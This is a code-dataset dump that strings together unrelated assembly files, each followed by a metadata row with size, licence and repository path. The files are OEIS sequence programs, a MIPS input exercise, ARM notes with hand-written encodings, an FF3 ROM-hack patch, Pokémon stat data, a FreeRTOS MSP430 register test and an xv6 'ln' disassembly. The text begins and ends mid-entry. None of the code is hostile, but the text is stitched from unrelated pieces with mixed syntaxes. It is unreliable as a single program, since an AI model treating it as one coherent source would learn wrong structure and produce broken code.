| 142.642857 | 1,837 | 0.910866 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/027/A027982.asm | 1,997 | Assembly |
; A340228: a(n) is the sum of the lengths of all the segments used to draw a rectangle of height 2^(n-1) and width n divided into 2^(n-1) rectangles of unit height, in turn, divided into rectangles of unit height and lengths corresponding to the parts of the compositions of n.
; Submitted by Christian Krause
; 4,11,27,64,149,342,775,1736,3849,8458,18443,39948,86029,184334,393231,835600,1769489,3735570,7864339,16515092,34603029,72351766,150994967,314572824,654311449,1358954522,2818572315,5838471196,12079595549,24964497438,51539607583,106300440608
mov $1,2
pow $1,$0
mul $1,9
add $1,5
mov $2,2
add $2,$0
mul $2,$1
add $0,$2
div $0,6
| 45.571429 | 277 | 0.77116 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/340/A340228.asm | 638 | Assembly |
# reads a character inserted by the terminal
# and checks if it corresponds to "b"
#
.data
request: .asciiz " print a letter! quick! "
isb: .asciiz " \n yes! is the 'b' \n "
notb: .asciiz " \n no! is not the 'b'\n "
.text
main:
li $v0, 4
la $a0, request
syscall # print the request string
li $v0, 12 # read a single char
syscall #
move $t0, $v0 # save the readed value
li $t1, 'b' #
beq $t0, $t1, equal # confrontare
j notEqu
equal: li $v0, 4 # print the proper message
la $a0, isb
syscall
j exit
notEqu: li $v0, 4 # print the proper message
la $a0, notb
syscall
j main
exit: li $v0, 10
syscall | 19.117647 | 46 | 0.615385 | [
"MIT"
] | DanerSound/MIPS-from-scratch | exercises/5 checkForB.asm | 650 | Assembly |
main:
LDR R0, #2
1001 1000 0000 0010
9802
LDR R1, #2
1001 1001 0000 0010
9902
LDR R2, #1
1001 1010 0000 0001
9a01
LDR R3, #0
1001 1011 0000 0000
9b00
loop:
//ADC R1, R0
//0100 0001 0100 0001
//4141
ADDS R1, R1, #1
0001 1100 0100 1001
1c49
SUB R3, R3, R2
0001 1010 1001 1011
1a9b
CMP R3, R2
0100 00 10 10 01 0 011
4293
BGE loop
1101 1010 0000 0100
da04
//BNE loop
//1101 0001 0000 0100
//d104
STR R1, #2
1001 0001 0000 0010
9102
STR R3, #3
1001 0011 0000 0011
9303
| 9.673469 | 22 | 0.696203 | [
"MIT"
] | jeanmarie-dormoy/GDEB-archi-PS5 | tests/division/jm_code.asm | 474 | Assembly |
; encoding: utf-8
; ff3_menu_of_stomach
;
; description:
; re-implementation of fatty choccobo's (aka 'stomach') menu.
;
;==================================================================================================
.ifdef _FEATURE_STOMACH_AMOUNT_1BYTE
STOMACH_TEXT_BUFFER = $7400 ;;original = $7300
INIT_PATCH_EX menu.stomach.main_loop, $3d,$b427,$b436,$b427
jsr menu.stomach.build_content_text ; B427 20 70 B5
.ifdef __HACK_FOR_FF3C
;lda #$18 ; B42A A9 18
;sta <$93 ; B42C 85 93
;lda #$01 ; B42E A9 01
;sta <$3E ; B430 85 3E
;lda #$73 ; B432 A9 73
;sta <$3F ; B434 85 3F
INIT16 <$3e, #STOMACH_TEXT_BUFFER+1
lda #TEXT_BANK_BASE ;#$18
sta <$93
.else
lda #TEXT_BANK_BASE ;#$18
sta <$93
INIT16 <$3e, #STOMACH_TEXT_BUFFER+1
.endif ;;__HACK_FOR_FF3c
;;jsr field.reflect_window_scroll ; B436 20 61 EB
VERIFY_PC_TO_PATCH_END menu.stomach.main_loop
.else
STOMACH_TEXT_BUFFER = $7300
.endif
;--------------------------------------------------------------------------------------------------
;; locating...
INIT_PATCH_EX menu.stomach.eligibility,$3d,$b492,$b4ae,$b492
;;# $3d:b492 menu.stomach.get_eligiblity_for_item_for_all
;;> (デブチョコボのメニューで)指定したアイテムの装備可能フラグを取得し、各プレイヤーキャラクターのステータスに反映する。
;;
;;### args:
;;+ in u8 A: item_id
;;
;;### callers:
;;+ `1E:B44A:20 92 B4 JSR $B492` @ menu.stomach.main_loop
;;+ `1E:B476:20 92 B4 JSR $B492` @ menu.stomach.main_loop
;;
;;### local variables:
;;+ u8 $7470[0x100]: variables utilized in menu-mode
;;+ u8 $7200[0x100]: variables utilized in battle-mode
menu.stomach.get_eligibility_for_item_for_all:
;; fixups.
; FIX_ADDR_ON_CALLER $3d,$b44a+1
; FIX_ADDR_ON_CALLER $3d,$b476+1
;; ---
.ifdef _FEATURE_FAST_ELIGIBILITY
;;there don't need to care about buffer
jmp menu.get_eligibility_for_item_for_all
menu_x.get_item_data_ptr:
.p_data = $80
;;A : index of item data (adjuted item_id)
ldy #0
sty <.p_data+1
asl A
rol <.p_data+1
asl A
rol <.p_data+1
asl A
rol <.p_data+1
.ifdef __HACK_FOR_FF3C
;clc ;;always clear
adc #$b0
sta <.p_data
lda #$93
.else
sta <.p_data
lda #HIGH((rom.item_params & $1fff)|$8000)
.endif ;;__HACK_FOR_FF3C
;clc ;;it always is in desired state
adc <.p_data+1
sta <.p_data+1
rts
.else ;;_FEATURE_FAST_ELIGIBILITY
pha ; B492 48
ldx #$00 ; B493 A2 00
.L_B495:
lda $7470,x ; B495 BD 70 74
sta $7200,x ; B498 9D 00 72
inx ; B49B E8
bne .L_B495 ; B49C D0 F7
pla ; B49E 68
jsr menu.get_eligibility_for_item_for_all ; B49F 20 E3 AE
ldx #$00 ; B4A2 A2 00
.L_B4A4:
lda $7200,x ; B4A4 BD 00 72
sta $7470,x ; B4A7 9D 70 74
inx ; B4AA E8
bne .L_B4A4 ; B4AB D0 F7
rts ; B4AD 60
.endif ;;_FEATURE_FAST_ELIGIBILITY
VERIFY_PC_TO_PATCH_END menu.stomach.eligibility
;--------------------------------------------------------------------------------------------------
;; locating...
INIT_PATCH_EX menu.stomach,$3d,$b570,$b5ed,$b570
;;#### in:
;;+ u8 $6300[256]: item amount in stomach
;;
;;#### out:
;;+ u8 $7300[0x500]: text buffer, ready to be supplied into rendering logics
;;
;;### callers:
;;+ `jsr menu.stomach.build_content_text ; B427 20 70 B5` @ $3d:b383
;;
;;### local variables:
;;+ ptr $80: text buffer
;;+ u8 $82: item_id
menu.stomach.build_content_text:
;; fixups
;; ---
.p_text_buffer = $80
ldx #$01 ; B570 A2 01
ldy #$00 ; B572 A0 00
.push_available_items:
lda party.item_amount_in_stomach,x ; B574 BD 00 63
beq .continue ; B577 F0 05
txa ; B579 8A
sta menu.available_items_in_stomach,y ; B57A 99 00 7C
iny ; B57D C8
.continue:
inx ; B57E E8
bne .push_available_items ; B57F D0 F3
lda #$00 ; B581 A9 00
;sta menu.available_items_in_stomach,y ; B583 99 00 7C
;cpy #$FF ; B586 C0 FF
;beq .build_text
.fill_empty:
sta menu.available_items_in_stomach,y
iny
bne .fill_empty
; --- build up the buffer.
ldx #HIGH(STOMACH_TEXT_BUFFER)
stx <.p_text_buffer+1
lda #0
sta STOMACH_TEXT_BUFFER
tax
inx
stx <.p_text_buffer
dex
tay
.build_text_lines:
lda #CHAR.ITEM_NAME_IN_STOMACH ;#$1b
sta [.p_text_buffer],y
iny
txa
sta [.p_text_buffer],y
iny
.ifdef _FEATURE_STOMACH_AMOUNT_1BYTE
lda #CHAR_X.ITEM_AMOUNT_IN_STOMACH_1BYTE
sta [.p_text_buffer],y
iny
.else
lda #CHAR.ITEM_AMOUNT_IN_STOMACH
sta [.p_text_buffer],y
iny
txa
sta [.p_text_buffer],y
iny
.endif ;;_FEATURE_STOMACH_AMOUNT_1BYTE
txa
inx
beq .terminate
lsr A
bcc .build_text_lines
;;item will be at right column.
lda #CHAR.EOL
sta [.p_text_buffer],y
.ifdef _FEATURE_STOMACH_AMOUNT_1BYTE
ADD16by8 <.p_text_buffer, #7
.else
ADD16by8 <.p_text_buffer, #9
.endif ;;_FEATURE_STOMACH_AMOUNT_1BYTE
ldy #0
beq .build_text_lines
.terminate:
lda #CHAR.NULL
sta [.p_text_buffer],y
rts
;--------------------------------------------------------------------------------------------------
VERIFY_PC_TO_PATCH_END menu.stomach
menu.stomach.BULK_PATCH_FREE_BEGIN:
.ifdef _FEATURE_STOMACH_AMOUNT_1BYTE
.ifdef __HACK_FOR_FF3C
INIT_PATCH_EX menu.stomach_x.ff3c, $3d,$a2ad,$a2d8,$a2ad
menu.stomach_x.ff3c.do_paging:
lda <$24
beq .paging
jmp $B484 ;;in menu.stomach.main_loop
.paging:
lda <$22
beq .no_update
jsr menu.init_input_states ;$9592
ldx $7a00+$3f ;;MenuItem.+03: parameter byte of CHAR.ITEM_NAME_IN_STOMACH (i.e., item index)
cpx #$f0
bcs .no_update
;clc ;;always clear
lda #(7*8) ;;7 bytes * 8 rows
adc $7afe
sta <$3e
ldx $7aff
bcc .update_view
inx
.update_view:
stx <$3f
jmp $b432 ;;in menu.stomach.main_loop
.no_update:
jmp $b44d ;;in menu.stomach.main_loop
VERIFY_PC_TO_PATCH_END menu.stomach_x.ff3c
.endif ;;__HACK_FOR_FF3C
.endif ;;_FEATURE_STOMACH_AMOUNT_1BYTE
| 31.530973 | 105 | 0.516699 | [
"MIT"
] | take-the-bath/ff3_hack | work/ff3_menu_of_stomach.asm | 7,240 | Assembly |
; A015459: q-Fibonacci numbers for q=2.
; Submitted by Christian Krause
; 0,1,1,3,7,31,143,1135,10287,155567,2789039,82439343,2938415279,171774189743,12207523172527,1419381685547183,201427441344229551,46711726513354322095,13247460522448782176431,6135846878080826487812271,3478878138074894381346140335,3220429766153315252023466078383,3651088552276173766066433913991343,6757381813500233561177582367127056559,15320532700979664965268685613556672966831,56700347672483546918128025551154520340246703,257092586707071734276863364600283985126224769199
mov $1,3
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,2
pow $1,$0
mul $1,$2
lpe
mov $0,$3
div $0,3
| 40.75 | 469 | 0.840491 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/015/A015459.asm | 652 | Assembly |
; A276952: Partial sums of A276950.
; 0,1,1,2,3,4,4,5,5,6,7,8,8,9,9,10,11,12,13,14,15,16,17,18,18,19,19,20,21,22,22,23,23,24,25,26,26,27,27,28,29,30,31,32,33,34,35,36,36,37,37,38,39,40,40,41,41,42,43,44,44,45,45,46,47,48,49,50,51,52,53,54,54,55,55,56,57,58,58,59,59,60,61,62,62,63,63,64,65,66,67,68,69,70,71,72,73,74,75,76
lpb $0
mov $2,$0
sub $0,1
seq $2,276950 ; Characteristic function for A273670: 1 if there is at least one maximal digit present in the factorial representation of n (A007623), otherwise 0.
add $1,$2
lpe
mov $0,$1
| 49.545455 | 286 | 0.675229 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/276/A276952.asm | 545 | Assembly |
db DEX_MANKEY ; pokedex id
db 40 ; base hp
db 80 ; base attack
db 35 ; base defense
db 70 ; base speed
db 35 ; base special
db FIGHTING ; species type 1
db FIGHTING ; species type 2
db 190 ; catch rate
db 74 ; base exp yield
INCBIN "pic/ymon/mankey.pic",0,1 ; 55, sprite dimensions
dw MankeyPicFront
dw MankeyPicBack
; attacks known at lvl 0
db SCRATCH
db LEER
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 1,5,6,8
tmlearn 9,10,16
tmlearn 17,18,19,20,24
tmlearn 25,28,31,32
tmlearn 34,35,39,40
tmlearn 44,48
tmlearn 50,54
db BANK(MankeyPicFront)
| 19.137931 | 56 | 0.733333 | [
"Unlicense"
] | adhi-thirumala/EvoYellow | data/baseStats_original/mankey.asm | 555 | Assembly |
;
;/*
; * FreeRTOS V202112.00
; * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
; *
; * Permission is hereby granted, free of charge, to any person obtaining a copy of
; * this software and associated documentation files (the "Software"), to deal in
; * the Software without restriction, including without limitation the rights to
; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
; * the Software, and to permit persons to whom the Software is furnished to do so,
; * subject to the following conditions:
; *
; * The above copyright notice and this permission notice shall be included in all
; * copies or substantial portions of the Software.
; *
; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
; *
; * https://www.FreeRTOS.org
; * https://aws.amazon.com/freertos
; *
; * 1 tab == 4 spaces!
; */
; * The definition of the "register test" tasks, as described at the top of
; * main.c
.include data_model.h
.if $DEFINED( __LARGE_DATA_MODEL__ )
.define "cmp.a", cmp_x
.define "incx.w", inc_x
.else
.define "cmp.w", cmp_x
.define "inc.w", inc_x
.endif
.global usRegTest1Counter
.global usRegTest2Counter
.global vPortYield
.def vRegTest1Task
.def vRegTest2Task
.text
.align 2
vRegTest1Task: .asmfunc
; Fill each general purpose register with a known value.
mov_x #0x4444, r4
mov_x #0x5555, r5
mov_x #0x6666, r6
mov_x #0x7777, r7
mov_x #0x8888, r8
mov_x #0x9999, r9
mov_x #0xaaaa, r10
mov_x #0xbbbb, r11
mov_x #0xcccc, r12
mov_x #0xdddd, r13
mov_x #0xeeee, r14
mov_x #0xffff, r15
prvRegTest1Loop:
; Test each general purpose register to check that it still contains the
; expected known value, jumping to vRegTest1Error if any register contains
; an unexpected value.
cmp_x #0x4444, r4
jne vRegTest1Error
cmp_x #0x5555, r5
jne vRegTest1Error
cmp_x #0x6666, r6
jne vRegTest1Error
cmp_x #0x7777, r7
jne vRegTest1Error
cmp_x #0x8888, r8
jne vRegTest1Error
cmp_x #0x9999, r9
jne vRegTest1Error
cmp_x #0xaaaa, r10
jne vRegTest1Error
cmp_x #0xbbbb, r11
jne vRegTest1Error
cmp_x #0xcccc, r12
jne vRegTest1Error
cmp_x #0xdddd, r13
jne vRegTest1Error
cmp_x #0xeeee, r14
jne vRegTest1Error
cmp_x #0xffff, r15
jne vRegTest1Error
; This task is still running without jumping to vRegTest1Error, so increment
; the loop counter so the check task knows the task is running error free.
inc_x &usRegTest1Counter
; Loop again, performing the same tests.
jmp prvRegTest1Loop
nop
vRegTest1Error:
jmp vRegTest1Error
nop
.endasmfunc
; -----------------------------------------------------------
; See the comments in vRegTest1Task. This task is the same, it just uses
; different values in its registers.
.align 2
vRegTest2Task: .asmfunc
mov_x #0x4441, r4
mov_x #0x5551, r5
mov_x #0x6661, r6
mov_x #0x7771, r7
mov_x #0x8881, r8
mov_x #0x9991, r9
mov_x #0xaaa1, r10
mov_x #0xbbb1, r11
mov_x #0xccc1, r12
mov_x #0xddd1, r13
mov_x #0xeee1, r14
mov_x #0xfff1, r15
prvRegTest2Loop:
cmp_x #0x4441, r4
jne vRegTest2Error
cmp_x #0x5551, r5
jne vRegTest2Error
cmp_x #0x6661, r6
jne vRegTest2Error
cmp_x #0x7771, r7
jne vRegTest2Error
cmp_x #0x8881, r8
jne vRegTest2Error
cmp_x #0x9991, r9
jne vRegTest2Error
cmp_x #0xaaa1, r10
jne vRegTest2Error
cmp_x #0xbbb1, r11
jne vRegTest2Error
cmp_x #0xccc1, r12
jne vRegTest2Error
cmp_x #0xddd1, r13
jne vRegTest2Error
cmp_x #0xeee1, r14
jne vRegTest2Error
cmp_x #0xfff1, r15
jne vRegTest2Error
; Also perform a manual yield, just to increase the scope of the test.
call_x #vPortYield
inc_x &usRegTest2Counter
jmp prvRegTest2Loop
nop
vRegTest2Error:
jmp vRegTest2Error
nop
.endasmfunc
; /*-----------------------------------------------------------
.end
| 25.285714 | 85 | 0.686328 | [
"MIT"
] | ActoryOu/FreeRTOS | FreeRTOS/Demo/MSP430X_MSP430F5438_CCS/Demo_Source/RegTest.asm | 4,425 | Assembly |
#d24 0x123 ; = 0x000123 | 23 | 23 | 0.695652 | [
"Apache-2.0"
] | Artentus/customasm | tests/data_simple/9.asm | 23 | Assembly |
; A217571: a(n) = (2*n*(n+5) + (2*n+1)*(-1)^n - 1)/8.
; 1,4,5,10,11,18,19,28,29,40,41,54,55,70,71,88,89,108,109,130,131,154,155,180,181,208,209,238,239,270,271,304,305,340,341,378,379,418,419,460,461,504,505,550,551,598,599,648,649,700,701,754,755,810,811,868,869,928,929,990,991,1054,1055,1120,1121,1188,1189,1258,1259,1330,1331,1404,1405,1480,1481,1558,1559,1638,1639,1720,1721,1804,1805,1890,1891,1978,1979,2068,2069,2160,2161,2254,2255,2350,2351,2448,2449,2548,2549,2650,2651,2754,2755,2860,2861,2968,2969,3078,3079,3190,3191,3304,3305,3420,3421,3538,3539,3658,3659,3780,3781,3904,3905,4030,4031,4158,4159,4288,4289,4420,4421,4554,4555,4690,4691,4828,4829,4968,4969,5110,5111,5254,5255,5400,5401,5548,5549,5698,5699,5850,5851,6004,6005,6160,6161,6318,6319,6478,6479,6640,6641,6804,6805,6970,6971,7138,7139,7308,7309,7480,7481,7654,7655,7830,7831,8008,8009,8188,8189,8370,8371,8554,8555,8740,8741,8928,8929,9118,9119,9310,9311,9504,9505,9700,9701,9898,9899,10098,10099,10300,10301,10504,10505,10710,10711,10918,10919,11128,11129,11340,11341,11554,11555,11770,11771,11988,11989,12208,12209,12430,12431,12654,12655,12880,12881,13108,13109,13338,13339,13570,13571,13804,13805,14040,14041,14278,14279,14518,14519,14760,14761,15004,15005,15250,15251,15498,15499,15748,15749,16000
mov $1,$0
mov $2,$0
div $2,2
sub $1,$2
add $0,$1
pow $1,2
add $1,$0
add $1,1
| 113 | 1,223 | 0.761062 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/217/A217571.asm | 1,356 | Assembly |
_ln: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
if(argc != 3){
7: 83 39 03 cmpl $0x3,(%ecx)
{
a: ff 71 fc pushl -0x4(%ecx)
d: 55 push %ebp
e: 89 e5 mov %esp,%ebp
10: 53 push %ebx
11: 51 push %ecx
12: 8b 59 04 mov 0x4(%ecx),%ebx
if(argc != 3){
15: 74 13 je 2a <main+0x2a>
printf(2, "Usage: ln old new\n");
17: 52 push %edx
18: 52 push %edx
19: 68 58 07 00 00 push $0x758
1e: 6a 02 push $0x2
20: e8 db 03 00 00 call 400 <printf>
exit();
25: e8 88 02 00 00 call 2b2 <exit>
}
if(link(argv[1], argv[2]) < 0)
2a: 50 push %eax
2b: 50 push %eax
2c: ff 73 08 pushl 0x8(%ebx)
2f: ff 73 04 pushl 0x4(%ebx)
32: e8 db 02 00 00 call 312 <link>
37: 83 c4 10 add $0x10,%esp
3a: 85 c0 test %eax,%eax
3c: 78 05 js 43 <main+0x43>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
exit();
3e: e8 6f 02 00 00 call 2b2 <exit>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
43: ff 73 08 pushl 0x8(%ebx)
46: ff 73 04 pushl 0x4(%ebx)
49: 68 6b 07 00 00 push $0x76b
4e: 6a 02 push $0x2
50: e8 ab 03 00 00 call 400 <printf>
55: 83 c4 10 add $0x10,%esp
58: eb e4 jmp 3e <main+0x3e>
5a: 66 90 xchg %ax,%ax
5c: 66 90 xchg %ax,%ax
5e: 66 90 xchg %ax,%ax
00000060 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 53 push %ebx
64: 8b 45 08 mov 0x8(%ebp),%eax
67: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
6a: 89 c2 mov %eax,%edx
6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
70: 83 c1 01 add $0x1,%ecx
73: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
77: 83 c2 01 add $0x1,%edx
7a: 84 db test %bl,%bl
7c: 88 5a ff mov %bl,-0x1(%edx)
7f: 75 ef jne 70 <strcpy+0x10>
;
return os;
}
81: 5b pop %ebx
82: 5d pop %ebp
83: c3 ret
84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000090 <strcmp>:
int
strcmp(const char *p, const char *q)
{
90: 55 push %ebp
91: 89 e5 mov %esp,%ebp
93: 53 push %ebx
94: 8b 55 08 mov 0x8(%ebp),%edx
97: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
9a: 0f b6 02 movzbl (%edx),%eax
9d: 0f b6 19 movzbl (%ecx),%ebx
a0: 84 c0 test %al,%al
a2: 75 1c jne c0 <strcmp+0x30>
a4: eb 2a jmp d0 <strcmp+0x40>
a6: 8d 76 00 lea 0x0(%esi),%esi
a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
b0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
b3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
b6: 83 c1 01 add $0x1,%ecx
b9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
bc: 84 c0 test %al,%al
be: 74 10 je d0 <strcmp+0x40>
c0: 38 d8 cmp %bl,%al
c2: 74 ec je b0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
c4: 29 d8 sub %ebx,%eax
}
c6: 5b pop %ebx
c7: 5d pop %ebp
c8: c3 ret
c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
d0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
d2: 29 d8 sub %ebx,%eax
}
d4: 5b pop %ebx
d5: 5d pop %ebp
d6: c3 ret
d7: 89 f6 mov %esi,%esi
d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000e0 <strlen>:
uint
strlen(const char *s)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
e6: 80 39 00 cmpb $0x0,(%ecx)
e9: 74 15 je 100 <strlen+0x20>
eb: 31 d2 xor %edx,%edx
ed: 8d 76 00 lea 0x0(%esi),%esi
f0: 83 c2 01 add $0x1,%edx
f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
f7: 89 d0 mov %edx,%eax
f9: 75 f5 jne f0 <strlen+0x10>
;
return n;
}
fb: 5d pop %ebp
fc: c3 ret
fd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
100: 31 c0 xor %eax,%eax
}
102: 5d pop %ebp
103: c3 ret
104: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
10a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000110 <memset>:
void*
memset(void *dst, int c, uint n)
{
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 57 push %edi
114: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
117: 8b 4d 10 mov 0x10(%ebp),%ecx
11a: 8b 45 0c mov 0xc(%ebp),%eax
11d: 89 d7 mov %edx,%edi
11f: fc cld
120: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
122: 89 d0 mov %edx,%eax
124: 5f pop %edi
125: 5d pop %ebp
126: c3 ret
127: 89 f6 mov %esi,%esi
129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000130 <strchr>:
char*
strchr(const char *s, char c)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 53 push %ebx
134: 8b 45 08 mov 0x8(%ebp),%eax
137: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
13a: 0f b6 10 movzbl (%eax),%edx
13d: 84 d2 test %dl,%dl
13f: 74 1d je 15e <strchr+0x2e>
if(*s == c)
141: 38 d3 cmp %dl,%bl
143: 89 d9 mov %ebx,%ecx
145: 75 0d jne 154 <strchr+0x24>
147: eb 17 jmp 160 <strchr+0x30>
149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
150: 38 ca cmp %cl,%dl
152: 74 0c je 160 <strchr+0x30>
for(; *s; s++)
154: 83 c0 01 add $0x1,%eax
157: 0f b6 10 movzbl (%eax),%edx
15a: 84 d2 test %dl,%dl
15c: 75 f2 jne 150 <strchr+0x20>
return (char*)s;
return 0;
15e: 31 c0 xor %eax,%eax
}
160: 5b pop %ebx
161: 5d pop %ebp
162: c3 ret
163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <gets>:
char*
gets(char *buf, int max)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 57 push %edi
174: 56 push %esi
175: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
176: 31 f6 xor %esi,%esi
178: 89 f3 mov %esi,%ebx
{
17a: 83 ec 1c sub $0x1c,%esp
17d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
180: eb 2f jmp 1b1 <gets+0x41>
182: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
188: 8d 45 e7 lea -0x19(%ebp),%eax
18b: 83 ec 04 sub $0x4,%esp
18e: 6a 01 push $0x1
190: 50 push %eax
191: 6a 00 push $0x0
193: e8 32 01 00 00 call 2ca <read>
if(cc < 1)
198: 83 c4 10 add $0x10,%esp
19b: 85 c0 test %eax,%eax
19d: 7e 1c jle 1bb <gets+0x4b>
break;
buf[i++] = c;
19f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1a3: 83 c7 01 add $0x1,%edi
1a6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1a9: 3c 0a cmp $0xa,%al
1ab: 74 23 je 1d0 <gets+0x60>
1ad: 3c 0d cmp $0xd,%al
1af: 74 1f je 1d0 <gets+0x60>
for(i=0; i+1 < max; ){
1b1: 83 c3 01 add $0x1,%ebx
1b4: 3b 5d 0c cmp 0xc(%ebp),%ebx
1b7: 89 fe mov %edi,%esi
1b9: 7c cd jl 188 <gets+0x18>
1bb: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
1bd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
1c0: c6 03 00 movb $0x0,(%ebx)
}
1c3: 8d 65 f4 lea -0xc(%ebp),%esp
1c6: 5b pop %ebx
1c7: 5e pop %esi
1c8: 5f pop %edi
1c9: 5d pop %ebp
1ca: c3 ret
1cb: 90 nop
1cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1d0: 8b 75 08 mov 0x8(%ebp),%esi
1d3: 8b 45 08 mov 0x8(%ebp),%eax
1d6: 01 de add %ebx,%esi
1d8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1da: c6 03 00 movb $0x0,(%ebx)
}
1dd: 8d 65 f4 lea -0xc(%ebp),%esp
1e0: 5b pop %ebx
1e1: 5e pop %esi
1e2: 5f pop %edi
1e3: 5d pop %ebp
1e4: c3 ret
1e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001f0 <stat>:
int
stat(const char *n, struct stat *st)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 56 push %esi
1f4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1f5: 83 ec 08 sub $0x8,%esp
1f8: 6a 00 push $0x0
1fa: ff 75 08 pushl 0x8(%ebp)
1fd: e8 f0 00 00 00 call 2f2 <open>
if(fd < 0)
202: 83 c4 10 add $0x10,%esp
205: 85 c0 test %eax,%eax
207: 78 27 js 230 <stat+0x40>
return -1;
r = fstat(fd, st);
209: 83 ec 08 sub $0x8,%esp
20c: ff 75 0c pushl 0xc(%ebp)
20f: 89 c3 mov %eax,%ebx
211: 50 push %eax
212: e8 f3 00 00 00 call 30a <fstat>
close(fd);
217: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
21a: 89 c6 mov %eax,%esi
close(fd);
21c: e8 b9 00 00 00 call 2da <close>
return r;
221: 83 c4 10 add $0x10,%esp
}
224: 8d 65 f8 lea -0x8(%ebp),%esp
227: 89 f0 mov %esi,%eax
229: 5b pop %ebx
22a: 5e pop %esi
22b: 5d pop %ebp
22c: c3 ret
22d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
230: be ff ff ff ff mov $0xffffffff,%esi
235: eb ed jmp 224 <stat+0x34>
237: 89 f6 mov %esi,%esi
239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000240 <atoi>:
int
atoi(const char *s)
{
240: 55 push %ebp
241: 89 e5 mov %esp,%ebp
243: 53 push %ebx
244: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
247: 0f be 11 movsbl (%ecx),%edx
24a: 8d 42 d0 lea -0x30(%edx),%eax
24d: 3c 09 cmp $0x9,%al
n = 0;
24f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
254: 77 1f ja 275 <atoi+0x35>
256: 8d 76 00 lea 0x0(%esi),%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
260: 8d 04 80 lea (%eax,%eax,4),%eax
263: 83 c1 01 add $0x1,%ecx
266: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
